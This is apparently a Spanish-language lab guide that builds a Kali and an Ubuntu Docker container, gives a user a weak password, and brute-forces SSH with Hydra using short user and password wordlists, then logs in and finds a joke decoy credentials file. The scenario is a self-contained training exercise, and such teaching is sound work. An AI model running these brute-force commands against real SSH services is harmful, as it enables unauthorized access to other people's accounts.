Escenario1

Docker-compose

```
version: '3'

services:
  kali-linux:
    image: kalilinux/kali-rolling
    container_name: kali-container
    tty: true
    stdin_open: true
    command: /bin/bash
    networks:
      - mynetwork

  ubuntu:
    image: ubuntu
    container_name: ubuntu-container
    tty: true
    stdin_open: true
    command: /bin/bash
    networks:
      - mynetwork
    depends_on:
      - kali-linux

networks:
  mynetwork:
    driver: bridge
```

```
docker-compose up -d
```

Kali-container

```
bash
```

```
docker exec -ti kali-container /bin/sh
```

```
apt update
```

```
apt install -y nano
```

```
apt install -y openssh-server openssh-client
service ssh start
```

```
apt install -y hydra
```

```
nano users.txt
nano passwords.txt
```

```
#nano users.txt
admin
administrador
user
usuario
root
mario
pablo
cristian
```

```
#nano passwords.txt
12345678
admin
mypass
abc123.
password
```

Una vez hecho el apartado "Ubuntu-container"

```
hydra -L ./users.txt -P passwords.txt ea707459946d -t 4 ssh
```

***ea707459946d* corresponde con el hostname de *ubuntu-container* en este caso.**

```
ssh mario@ea707459946d
#abc123.
```

Ubuntu-container

```
bash
```

```
docker exec -ti ubuntu-container /bin/sh
```

```
apt update
```

```
apt install -y nano
```

```
apt install -y openssh-server openssh-client
service ssh start
```

```
useradd mario -s /bin/bash -m
passwd mario
#abc123.
```

```
mkdir /home/mario/secreto
nano /home/mario/secreto/contraseñas.txt
# te la creiste ;)
ip 192.168.0.10
    #users  ->  #passwords
    eric_cartman -> southpark1
    stan_marsh -> southpark2
    kenny_mccormick -> southpark3
    kyle_broflovsky -> southpark4
```